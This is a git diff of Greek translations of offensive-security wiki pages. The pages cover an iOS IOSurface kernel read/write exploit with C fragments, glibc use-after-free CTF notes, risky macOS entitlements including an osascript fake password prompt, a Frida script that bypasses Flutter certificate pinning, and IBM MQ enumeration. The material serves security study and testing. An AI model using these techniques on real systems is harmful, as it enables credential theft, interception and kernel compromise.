1. **Ψεκασμός Αντικειμένων IOSurface**: Ο επιτιθέμενος δημιουργεί πολλά αντικείμενα IOSurface με έναν ειδικό αναγνωριστικό ("μαγική τιμή").
|
||||
2. **Σάρωση Ελεύθερων Σελίδων**: Ελέγχουν αν κάποιο από τα αντικείμενα έχει ανατεθεί σε μια ελεύθερη σελίδα.
|
||||
3. **Διαβάστε/Γράψτε στη Μνήμη του Πυρήνα**: Με την παραποίηση πεδίων στο αντικείμενο IOSurface, αποκτούν τη δυνατότητα να εκτελούν **τυχαίες αναγνώσεις και εγγραφές** στη μνήμη του πυρήνα. Αυτό τους επιτρέπει:
|
||||
* Να χρησιμοποιούν ένα πεδίο για να **διαβάσουν οποιαδήποτε 32-bit τιμή** στη μνήμη του πυρήνα.
|
||||
* Να χρησιμοποιούν ένα άλλο πεδίο για να **γράψουν 64-bit τιμές**, επιτυγχάνοντας μια σταθερή **πρωτοβουλία ανάγνωσης/εγγραφής πυρήνα**.
|
||||
1. **Spray IOSurface Objects**: Ο επιτιθέμενος δημιουργεί πολλά αντικείμενα IOSurface με μια ειδική ταυτότητα ("μαγική τιμή").
|
||||
2. **Scan Freed Pages**: Ελέγχουν αν κάποιο από τα αντικείμενα έχει ανατεθεί σε μια ελεύθερη σελίδα.
|
||||
3. **Read/Write Kernel Memory**: Με την παραποίηση πεδίων στο αντικείμενο IOSurface, αποκτούν τη δυνατότητα να εκτελούν **τυχαίες αναγνώσεις και εγγραφές** στη μνήμη του kernel. Αυτό τους επιτρέπει:
|
||||
* Να χρησιμοποιούν ένα πεδίο για να **διαβάσουν οποιαδήποτε 32-bit τιμή** στη μνήμη του kernel.
|
||||
* Να χρησιμοποιούν ένα άλλο πεδίο για να **γράψουν 64-bit τιμές**, επιτυγχάνοντας μια σταθερή **primitive ανάγνωσης/εγγραφής του kernel**.
|
||||
|
||||
Δημιουργήστε αντικείμενα IOSurface με τη μαγική τιμή IOSURFACE_MAGIC για να τα αναζητήσετε αργότερα:
|
||||
Δημιουργήστε αντικείμενα IOSurface με τη μαγική τιμή IOSURFACE\_MAGIC για να τα αναζητήσετε αργότερα:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
@ -180,7 +180,7 @@ return value;
|
||||
|
||||
Για να εκτελέσετε μια εγγραφή:
|
||||
|
||||
1. Επαναγράψτε τον **δείκτη χρονοσήμανσης με δείκτη** στη στοχευμένη διεύθυνση.
|
||||
1. Επαναγράψτε τον **δείκτη χρονοσήμανσης με ευρετήριο** στη στοχευμένη διεύθυνση.
|
||||
2. Χρησιμοποιήστε τη μέθοδο `set_indexed_timestamp` για να γράψετε μια τιμή 64-bit.
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
@ -200,7 +200,7 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
1. **Ενεργοποίηση Φυσικής Χρήσης-Μετά-Απελευθέρωση**: Οι ελεύθερες σελίδες είναι διαθέσιμες για επαναχρησιμοποίηση.
|
||||
2. **Ψεκασμός Αντικειμένων IOSurface**: Κατανομή πολλών αντικειμένων IOSurface με μια μοναδική "μαγική τιμή" στη μνήμη του πυρήνα.
|
||||
3. **Εντοπισμός Προσβάσιμου IOSurface**: Εντοπίστε ένα IOSurface σε μια απελευθερωμένη σελίδα που ελέγχετε.
|
||||
4. **Κατάχρηση Χρήσης-Μετά-Απελευθέρωση**: Τροποποιήστε τους δείκτες στο αντικείμενο IOSurface για να επιτρέψετε αυθαίρετη **ανάγνωση/εγγραφή πυρήνα** μέσω μεθόδων IOSurface.
|
||||
4. **Κατάχρηση Χρήσης-Μετά-Απελευθέρωση**: Τροποποιήστε δείκτες στο αντικείμενο IOSurface για να επιτρέψετε αυθαίρετη **ανάγνωση/εγγραφή πυρήνα** μέσω μεθόδων IOSurface.
|
||||
|
||||
Με αυτές τις πρωτογενείς λειτουργίες, η εκμετάλλευση παρέχει ελεγχόμενες **32-bit αναγνώσεις** και **64-bit εγγραφές** στη μνήμη του πυρήνα. Επιπλέον βήματα jailbreak θα μπορούσαν να περιλαμβάνουν πιο σταθερές πρωτογενείς αναγνώσεις/εγγραφές, οι οποίες μπορεί να απαιτούν παράκαμψη πρόσθετων προστασιών (π.χ., PPL σε νεότερες συσκευές arm64e).
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **First Fit**
|
||||
|
||||
Όταν απελευθερώνετε μνήμη σε ένα πρόγραμμα χρησιμοποιώντας glibc, χρησιμοποιούνται διαφορετικά "bins" για τη διαχείριση των κομματιών μνήμης. Ακολουθεί μια απλοποιημένη εξήγηση δύο κοινών σεναρίων: τα unsorted bins και τα fastbins.
|
||||
Όταν απελευθερώνετε μνήμη σε ένα πρόγραμμα χρησιμοποιώντας glibc, χρησιμοποιούνται διαφορετικά "bins" για τη διαχείριση των κομματιών μνήμης. Ακολουθεί μια απλοποιημένη εξήγηση δύο κοινών σεναρίων: unsorted bins και fastbins.
|
||||
|
||||
### Unsorted Bins
|
||||
|
||||
@ -24,13 +24,13 @@ char *c = malloc(250);
|
||||
```
|
||||
### Fastbins
|
||||
|
||||
Τα Fastbins χρησιμοποιούνται για μικρά κομμάτια μνήμης. Σε αντίθεση με τα unsorted bins, τα fastbins προσθέτουν νέα κομμάτια στην κεφαλή, δημιουργώντας μια συμπεριφορά last-in-first-out (LIFO). Αν ζητήσετε ένα μικρό κομμάτι μνήμης, ο allocator θα αντλήσει από την κεφαλή του fastbin.
|
||||
Τα Fastbins χρησιμοποιούνται για μικρές μνήμες. Σε αντίθεση με τα unsorted bins, τα fastbins προσθέτουν νέα κομμάτια στην κεφαλή, δημιουργώντας μια συμπεριφορά last-in-first-out (LIFO). Αν ζητήσετε ένα μικρό κομμάτι μνήμης, ο allocator θα αντλήσει από την κεφαλή του fastbin.
|
||||
|
||||
Παράδειγμα:
|
||||
Example:
|
||||
|
||||
- Εσείς κατανέμετε τέσσερα κομμάτια των 20 bytes το καθένα (`a`, `b`, `c`, `d`).
|
||||
- Όταν τα απελευθερώσετε με οποιαδήποτε σειρά, τα απελευθερωμένα κομμάτια προστίθενται στην κεφαλή του fastbin.
|
||||
- Αν στη συνέχεια ζητήσετε ένα κομμάτι 20 bytes, ο allocator θα επιστρέψει το πιο πρόσφατα απελευθερωμένο κομμάτι από την κεφαλή του fastbin.
|
||||
- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`).
|
||||
- When you free them in any order, the freed chunks are added to the fastbin's head.
|
||||
- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin.
|
||||
```c
|
||||
char *a = malloc(20);
|
||||
char *b = malloc(20);
|
||||
@ -53,8 +53,10 @@ d = malloc(20); // a
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
|
||||
- Το πρόγραμμα επιτρέπει τη δημιουργία σημειώσεων. Μια σημείωση θα έχει τις πληροφορίες της σημείωσης σε μια malloc(8) (με έναν δείκτη σε μια συνάρτηση που θα μπορούσε να κληθεί) και έναν δείκτη σε άλλη malloc(\<size>) με το περιεχόμενο της σημείωσης.
|
||||
- Η επίθεση θα ήταν να δημιουργηθούν 2 σημειώσεις (note0 και note1) με μεγαλύτερο περιεχόμενο malloc από το μέγεθος των πληροφοριών της σημείωσης και στη συνέχεια να απελευθερωθούν ώστε να μπουν στο γρήγορο bin (ή tcache).
|
||||
- Στη συνέχεια, δημιουργήστε μια άλλη σημείωση (note2) με μέγεθος περιεχομένου 8. Το περιεχόμενο θα είναι στη note1 καθώς το κομμάτι θα επαναχρησιμοποιηθεί, όπου θα μπορούσαμε να τροποποιήσουμε τον δείκτη συνάρτησης ώστε να δείχνει στη συνάρτηση win και στη συνέχεια να χρησιμοποιήσουμε την Χρήση-Μετά-Απελευθέρωση της note1 για να καλέσουμε τον νέο δείκτη συνάρτησης.
|
||||
- Στη συνέχεια, δημιουργήστε μια άλλη σημείωση (note2) με μέγεθος περιεχομένου 8. Το περιεχόμενο θα είναι στη note1 καθώς το κομμάτι θα επαναχρησιμοποιηθεί, όπου θα μπορούσαμε να τροποποιήσουμε τον δείκτη συνάρτησης ώστε να δείχνει στη συνάρτηση win και στη συνέχεια να χρησιμοποιήσουμε την μετά την απελευθέρωση της note1 για να καλέσουμε τον νέο δείκτη συνάρτησης.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
- Είναι δυνατόν να δεσμεύσετε κάποια μνήμη, να γράψετε την επιθυμητή τιμή, να την απελευθερώσετε, να την επαναδεσμεύσετε και καθώς τα προηγούμενα δεδομένα είναι ακόμα εκεί, θα αντιμετωπιστούν σύμφωνα με τη νέα αναμενόμενη δομή στο κομμάτι, καθιστώντας δυνατή την ρύθμιση της τιμής για να αποκτήσετε τη σημαία.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
- Σε αυτή την περίπτωση είναι απαραίτητο να γράψετε 4 μέσα σε ένα συγκεκριμένο κομμάτι το οποίο είναι το πρώτο που δεσμεύεται (ακόμα και μετά την αναγκαστική απελευθέρωση όλων τους). Σε κάθε νέο δεσμευμένο κομμάτι, ο αριθμός του αποθηκεύεται στον δείκτη του πίνακα. Στη συνέχεια, δεσμεύστε 4 κομμάτια (+ το αρχικά δεσμευμένο), το τελευταίο θα έχει 4 μέσα του, απελευθερώστε τα και αναγκάστε την επαναδέσμευση του πρώτου, το οποίο θα χρησιμοποιήσει το τελευταίο απελευθερωμένο κομμάτι που είναι αυτό με 4 μέσα του.
|
||||
- Σε αυτή την περίπτωση είναι απαραίτητο να γράψετε 4 μέσα σε ένα συγκεκριμένο κομμάτι το οποίο είναι το πρώτο που δεσμεύεται (ακόμα και μετά την αναγκαστική απελευθέρωση όλων τους). Σε κάθε νέο δεσμευμένο κομμάτι, ο αριθμός του αποθηκεύεται στον δείκτη του πίνακα. Στη συνέχεια, δεσμεύστε 4 κομμάτια (+ το αρχικά δεσμευμένο), το τελευταίο θα έχει 4 μέσα του, απελευθερώστε τα και αναγκάστε την επαναδέσμευση του πρώτου, το οποίο θα χρησιμοποιήσει το τελευταίο απελευθερωμένο κομμάτι που είναι αυτό με το 4 μέσα του.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -25,7 +25,7 @@
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
Οι εφαρμογές με το Entitlement Εργαλείου Αποσφαλμάτωσης μπορούν να καλέσουν `task_for_pid()` για να ανακτήσουν ένα έγκυρο task port για μη υπογεγραμμένες και τρίτες εφαρμογές με το entitlement `Get Task Allow` ρυθμισμένο σε `true`. Ωστόσο, ακόμη και με το entitlement εργαλείου αποσφαλμάτωσης, ένας αποσφαλματωτής **δεν μπορεί να αποκτήσει τα task ports** διαδικασιών που **δεν έχουν το entitlement `Get Task Allow`**, και οι οποίες προστατεύονται από την Προστασία Ακεραιότητας Συστήματος. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
|
||||
Οι εφαρμογές με το Entitlement Εργαλείου Αποσφαλμάτωσης μπορούν να καλέσουν `task_for_pid()` για να ανακτήσουν ένα έγκυρο task port για μη υπογεγραμμένες και τρίτες εφαρμογές με το entitlement `Get Task Allow` ρυθμισμένο σε `true`. Ωστόσο, ακόμη και με το entitlement εργαλείου αποσφαλμάτωσης, ένας αποσφαλματωτής **δεν μπορεί να αποκτήσει τα task ports** διαδικασιών που **δεν έχουν το entitlement `Get Task Allow`**, και που είναι επομένως προστατευμένες από την Προστασία Ακεραιότητας Συστήματος. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
@ -54,11 +54,11 @@ Entitlement που απαιτείται για να ζητήσει από τον
|
||||
|
||||
### **`com.apple.private.icloud-account-access`**
|
||||
|
||||
Το entitlement **`com.apple.private.icloud-account-access`** επιτρέπει την επικοινωνία με την υπηρεσία XPC **`com.apple.iCloudHelper`** η οποία θα **παρέχει tokens iCloud**.
|
||||
Το entitlement **`com.apple.private.icloud-account-access`** επιτρέπει την επικοινωνία με την υπηρεσία XPC **`com.apple.iCloudHelper`** που θα **παρέχει tokens iCloud**.
|
||||
|
||||
Το **iMovie** και το **Garageband** είχαν αυτό το entitlement.
|
||||
|
||||
Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για **να αποκτήσετε tokens icloud** από αυτό το entitlement δείτε την ομιλία: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για **να αποκτήσετε tokens icloud** από αυτό το entitlement, δείτε την ομιλία: [**#OBTS v5.0: "Τι συμβαίνει στον υπολογιστή σας, παραμένει στο iCloud της Apple;!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||
|
||||
@ -66,11 +66,11 @@ TODO: Δεν ξέρω τι επιτρέπει να κάνετε
|
||||
|
||||
### `com.apple.private.apfs.revert-to-snapshot`
|
||||
|
||||
TODO: Στην [**αυτή την αναφορά**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **αναφέρεται ότι αυτό θα μπορούσε να χρησιμοποιηθεί για** να ενημερώσει τα περιεχόμενα που προστατεύονται από SSV μετά από επανεκκίνηση. Αν ξέρετε πώς, στείλτε μια PR παρακαλώ!
|
||||
TODO: Στο [**αυτό το αναφορά**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **αναφέρεται ότι αυτό θα μπορούσε να χρησιμοποιηθεί για** να ενημερώσει τα περιεχόμενα που προστατεύονται από SSV μετά από επανεκκίνηση. Αν ξέρετε πώς, στείλτε μια PR παρακαλώ!
|
||||
|
||||
### `com.apple.private.apfs.create-sealed-snapshot`
|
||||
|
||||
TODO: Στην [**αυτή την αναφορά**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **αναφέρεται ότι αυτό θα μπορούσε να χρησιμοποιηθεί για** να ενημερώσει τα περιεχόμενα που προστατεύονται από SSV μετά από επανεκκίνηση. Αν ξέρετε πώς, στείλτε μια PR παρακαλώ!
|
||||
TODO: Στο [**αυτό το αναφορά**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **αναφέρεται ότι αυτό θα μπορούσε να χρησιμοποιηθεί για** να ενημερώσει τα περιεχόμενα που προστατεύονται από SSV μετά από επανεκκίνηση. Αν ξέρετε πώς, στείλτε μια PR παρακαλώ!
|
||||
|
||||
### `keychain-access-groups`
|
||||
|
||||
@ -97,19 +97,19 @@ TODO: Στην [**αυτή την αναφορά**](https://jhftss.github.io/The
|
||||
```bash
|
||||
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
|
||||
```
|
||||
Or making them perform **arbitrary actions**.
|
||||
Ή να τους κάνει να εκτελούν **τυχαίες ενέργειες**.
|
||||
|
||||
### **`kTCCServiceEndpointSecurityClient`**
|
||||
|
||||
Επιτρέπει, μεταξύ άλλων δικαιωμάτων, να **γράψει τη βάση δεδομένων TCC των χρηστών**.
|
||||
Επιτρέπει, μεταξύ άλλων αδειών, να **γράψει τη βάση δεδομένων TCC των χρηστών**.
|
||||
|
||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||
|
||||
Επιτρέπει να **αλλάξει** το **`NFSHomeDirectory`** χαρακτηριστικό ενός χρήστη που αλλάζει τη διαδρομή του φακέλου του και επομένως επιτρέπει να **παρακαμφθεί το TCC**.
|
||||
Επιτρέπει να **αλλάξει** την **`NFSHomeDirectory`** ιδιότητα ενός χρήστη που αλλάζει τη διαδρομή του φακέλου του και επομένως επιτρέπει να **παρακαμφθεί το TCC**.
|
||||
|
||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
||||
|
||||
Επιτρέπει να τροποποιηθούν αρχεία μέσα σε πακέτα εφαρμογών (μέσα στο app.app), κάτι που είναι **απαγορευμένο από προεπιλογή**.
|
||||
Επιτρέπει την τροποποίηση αρχείων μέσα σε πακέτα εφαρμογών (μέσα στο app.app), κάτι που είναι **απαγορευμένο από προεπιλογή**.
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -117,17 +117,17 @@ Or making them perform **arbitrary actions**.
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
Η διαδικασία θα είναι σε θέση να **καταχραστεί τις δυνατότητες προσβασιμότητας του macOS**, που σημαίνει ότι για παράδειγμα θα μπορεί να πατήσει πλήκτρα. Έτσι θα μπορούσε να ζητήσει πρόσβαση για να ελέγξει μια εφαρμογή όπως το Finder και να εγκρίνει το παράθυρο διαλόγου με αυτή την άδεια.
|
||||
Η διαδικασία θα μπορεί να **καταχραστεί τις δυνατότητες προσβασιμότητας του macOS**, που σημαίνει ότι για παράδειγμα θα μπορεί να πατάει πλήκτρα. Έτσι θα μπορούσε να ζητήσει πρόσβαση για να ελέγξει μια εφαρμογή όπως το Finder και να εγκρίνει το διάλογο με αυτή την άδεια.
|
||||
|
||||
## Medium
|
||||
|
||||
### `com.apple.security.cs.allow-jit`
|
||||
|
||||
Αυτή η άδεια επιτρέπει να **δημιουργήσει μνήμη που είναι εγγράψιμη και εκτελέσιμη** περνώντας τη σημαία `MAP_JIT` στη συνάρτηση συστήματος `mmap()`. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
|
||||
Αυτή η άδεια επιτρέπει να **δημιουργήσει μνήμη που είναι εγ writable και εκτελέσιμη** περνώντας τη σημαία `MAP_JIT` στη συνάρτηση συστήματος `mmap()`. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
Αυτή η άδεια επιτρέπει να **παρακάμψει ή να διορθώσει C κώδικα**, να χρησιμοποιήσει τη μακροχρόνια αποσυρμένη **`NSCreateObjectFileImageFromMemory`** (η οποία είναι θεμελιωδώς ανασφαλής), ή να χρησιμοποιήσει το **DVDPlayback** framework. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
|
||||
Αυτή η άδεια επιτρέπει να **υπερκαλύψει ή να διορθώσει C κώδικα**, να χρησιμοποιήσει τη μακροχρόνια αποσυρμένη **`NSCreateObjectFileImageFromMemory`** (η οποία είναι θεμελιωδώς ανασφαλής), ή να χρησιμοποιήσει το **DVDPlayback** framework. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
|
||||
|
||||
> [!CAUTION]
|
||||
> Η συμπερίληψη αυτής της άδειας εκθέτει την εφαρμογή σας σε κοινές ευπάθειες σε γλώσσες κώδικα που είναι ανασφαλείς στη μνήμη. Σκεφτείτε προσεκτικά αν η εφαρμογή σας χρειάζεται αυτή την εξαίρεση.
|
||||
@ -145,7 +145,7 @@ TODO
|
||||
|
||||
### `com.apple.private.nullfs_allow`
|
||||
|
||||
Αυτή η άδεια επιτρέπει να τοποθετηθεί ένα σύστημα αρχείων nullfs (απαγορευμένο από προεπιλογή). Εργαλείο: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
|
||||
Αυτή η άδεια επιτρέπει να τοποθετήσει ένα σύστημα αρχείων nullfs (απαγορευμένο από προεπιλογή). Εργαλείο: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
|
||||
|
||||
### `kTCCServiceAll`
|
||||
|
||||
@ -163,3 +163,8 @@ TODO
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
# Flutter
|
||||
Το Flutter είναι το **εργαλείο UI πολλαπλών πλατφορμών της Google** που επιτρέπει στους προγραμματιστές να γράφουν μια ενιαία βάση κώδικα Dart, την οποία ο **Engine** (native C/C++) μετατρέπει σε κωδικό μηχανής συγκεκριμένο για τις πλατφόρμες Android & iOS.
|
||||
Ο Engine περιλαμβάνει μια **Dart VM**, **BoringSSL**, Skia, κ.λπ., και αποστέλλεται ως η κοινή βιβλιοθήκη **libflutter.so** (Android) ή **Flutter.framework** (iOS). Όλη η πραγματική δικτύωση (DNS, sockets, TLS) συμβαίνει **μέσα σε αυτή τη βιβλιοθήκη**, *όχι* στα συνήθη επίπεδα Java/Kotlin Swift/Obj-C. Αυτός ο απομονωμένος σχεδιασμός είναι ο λόγος που οι συνήθεις hooks σε επίπεδο Java αποτυγχάνουν σε εφαρμογές Flutter.
|
||||
Ο Engine περιλαμβάνει μια **Dart VM**, **BoringSSL**, Skia, κ.λπ., και αποστέλλεται ως η κοινή βιβλιοθήκη **libflutter.so** (Android) ή **Flutter.framework** (iOS). Όλη η πραγματική δικτύωση (DNS, sockets, TLS) συμβαίνει **μέσα σε αυτή τη βιβλιοθήκη**, *όχι* στα συνήθη επίπεδα Java/Kotlin Swift/Obj-C. Αυτός ο απομονωμένος σχεδιασμός είναι ο λόγος που οι συνήθεις hooks επιπέδου Java Frida αποτυγχάνουν σε εφαρμογές Flutter.
|
||||
|
||||
## Παρεμβολή HTTPS traffic στο Flutter
|
||||
|
||||
@ -28,15 +28,15 @@
|
||||
|
||||
### Στόχος: `ssl_crypto_x509_session_verify_cert_chain()`
|
||||
* Βρίσκεται στο **`ssl_x509.cc`** μέσα στο BoringSSL.
|
||||
* **Επιστρέφει `bool`** – μια μόνο `true` αρκεί για να παρακάμψει ολόκληρη την επαλήθευση της αλυσίδας πιστοποιητικών.
|
||||
* **Επιστρέφει `bool`** – μια μόνο `true` είναι αρκετή για να παρακάμψει ολόκληρη την επαλήθευση αλυσίδας πιστοποιητικών.
|
||||
* Η ίδια λειτουργία υπάρχει σε κάθε αρχιτεκτονική CPU; μόνο οι κωδικοί λειτουργιών διαφέρουν.
|
||||
|
||||
### Επιλογή A – Διόρθωση δυαδικών αρχείων με **reFlutter**
|
||||
1. **Κλωνοποιήστε** τις ακριβείς πηγές Engine & Dart για την έκδοση Flutter της εφαρμογής.
|
||||
2. **Regex-patch** δύο hotspots:
|
||||
* Στο `ssl_x509.cc`, αναγκάστε `return 1;`
|
||||
* (Προαιρετικά) Στο `socket_android.cc`, σκληροκωδικοποιήστε έναν proxy (`"10.0.2.2:8080"`).
|
||||
3. **Επανασυγκεντρώστε** το libflutter.so, τοποθετήστε το ξανά στο APK/IPA, υπογράψτε, εγκαταστήστε.
|
||||
* (Προαιρετικά) Στο `socket_android.cc`, σκληρά κωδικοποιήστε έναν proxy (`"10.0.2.2:8080"`).
|
||||
3. **Επανασυντάξτε** το libflutter.so, τοποθετήστε το ξανά στο APK/IPA, υπογράψτε, εγκαταστήστε.
|
||||
4. **Προ-διορθωμένες εκδόσεις** για κοινές εκδόσεις αποστέλλονται στις εκδόσεις GitHub του reFlutter για να εξοικονομήσουν ώρες χρόνου κατασκευής.
|
||||
|
||||
### Επιλογή B – Ζωντανή σύνδεση με **Frida** (η “σκληρή” διαδρομή)
|
||||
@ -58,7 +58,7 @@ onLeave: function (retval) { retval.replace(0x1); } // always 'true'
|
||||
onComplete: function () { console.log("scan done"); }
|
||||
});
|
||||
```
|
||||
Εκτέλεσέ το:
|
||||
Τρέξτε το:
|
||||
```bash
|
||||
frida -U -f com.example.app -l bypass.js
|
||||
```
|
||||
@ -67,9 +67,11 @@ frida -U -f com.example.app -l bypass.js
|
||||
* Κράτησε **ένα μοτίβο ανά έκδοση Flutter**, αποθήκευσέ τα σε ένα cheat-sheet για γρήγορη επαναχρησιμοποίηση.
|
||||
|
||||
### Ανάγκαση κυκλοφορίας μέσω του proxy σου
|
||||
Το Flutter **αγνοεί τις ρυθμίσεις proxy της συσκευής**. Ευκολότερες επιλογές:
|
||||
Το Flutter **αγνοεί τις ρυθμίσεις proxy της συσκευής**. Οι πιο εύκολες επιλογές:
|
||||
* **Emulator Android Studio:** Ρυθμίσεις ▶ Proxy → χειροκίνητα.
|
||||
* **Φυσική συσκευή:** κακόβουλο Wi-Fi AP + spoofing DNS, ή επεξεργασία του module Magisk `/etc/hosts`.
|
||||
* **Φυσική συσκευή:** κακόβουλο Wi-Fi AP + DNS spoofing, ή επεξεργασία του module Magisk `/etc/hosts`.
|
||||
|
||||
## Αναφορές
|
||||
- [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
## Basic information
|
||||
|
||||
IBM MQ είναι μια τεχνολογία της IBM για τη διαχείριση ουρών μηνυμάτων. Όπως άλλες τεχνολογίες **message broker**, είναι αφιερωμένη στη λήψη, αποθήκευση, επεξεργασία και ταξινόμηση πληροφοριών μεταξύ παραγωγών και καταναλωτών.
|
||||
IBM MQ είναι μια τεχνολογία της IBM για τη διαχείριση ουρών μηνυμάτων. Όπως και άλλες τεχνολογίες **message broker**, είναι αφιερωμένη στη λήψη, αποθήκευση, επεξεργασία και κατηγοριοποίηση πληροφοριών μεταξύ παραγωγών και καταναλωτών.
|
||||
|
||||
Από προεπιλογή, **εκθέτει την IBM MQ TCP θύρα 1414**.
|
||||
Μερικές φορές, το HTTP REST API μπορεί να εκτεθεί στη θύρα **9443**.
|
||||
Από προεπιλογή, **εκθέτει την TCP θύρα 1414 του IBM MQ**.
|
||||
Μερικές φορές, το HTTP REST API μπορεί να εκτεθεί στην θύρα **9443**.
|
||||
Οι μετρήσεις (Prometheus) μπορούν επίσης να προσπελαστούν από την TCP θύρα **9157**.
|
||||
|
||||
Η IBM MQ TCP θύρα 1414 μπορεί να χρησιμοποιηθεί για να χειριστεί μηνύματα, ουρές, κανάλια, ... αλλά **και για να ελέγξει την instance**.
|
||||
Η TCP θύρα 1414 του IBM MQ μπορεί να χρησιμοποιηθεί για να χειριστεί μηνύματα, ουρές, κανάλια, ... αλλά **και για να ελέγξει την παρουσία**.
|
||||
|
||||
Η IBM παρέχει εκτενή τεχνική τεκμηρίωση διαθέσιμη στο [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq).
|
||||
|
||||
@ -33,10 +33,10 @@ IBM MQ είναι μια τεχνολογία της IBM για τη διαχε
|
||||
>
|
||||
> ```bash
|
||||
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
|
||||
> then
|
||||
> echo "ERROR: This package is incompatible with this system"
|
||||
> echo " This package was built for ${BUILD_PLATFORM}"
|
||||
> exit 1
|
||||
> then
|
||||
> echo "ERROR: This package is incompatible with this system"
|
||||
> echo " This package was built for ${BUILD_PLATFORM}"
|
||||
> exit 1
|
||||
> fi
|
||||
> ```
|
||||
|
||||
@ -46,7 +46,7 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.
|
||||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
|
||||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
|
||||
```
|
||||
6. Στη συνέχεια, προσθέστε προσωρινά τα `.so` αρχεία στο LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **πριν** εκτελέσετε άλλα εργαλεία που χρησιμοποιούν αυτές τις εξαρτήσεις.
|
||||
6. Στη συνέχεια, προσθέστε προσωρινά τα `.so` αρχεία στο LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **πριν** τρέξετε άλλα εργαλεία που χρησιμοποιούν αυτές τις εξαρτήσεις.
|
||||
|
||||
Στη συνέχεια, μπορείτε να κλωνοποιήσετε το έργο [**pymqi**](https://github.com/dsuch/pymqi): περιέχει ενδιαφέροντα αποσπάσματα κώδικα, σταθερές, ... Ή μπορείτε να εγκαταστήσετε απευθείας τη βιβλιοθήκη με: `pip install pymqi`.
|
||||
|
||||
@ -73,7 +73,7 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
|
||||
Queue Manager name: MYQUEUEMGR
|
||||
```
|
||||
### Κανάλια
|
||||
### Channels
|
||||
|
||||
**punch-q** χρησιμοποιεί μια εσωτερική (τροποποιήσιμη) λίστα λέξεων για να βρει υπάρχοντα κανάλια. Παράδειγμα χρήσης:
|
||||
```bash
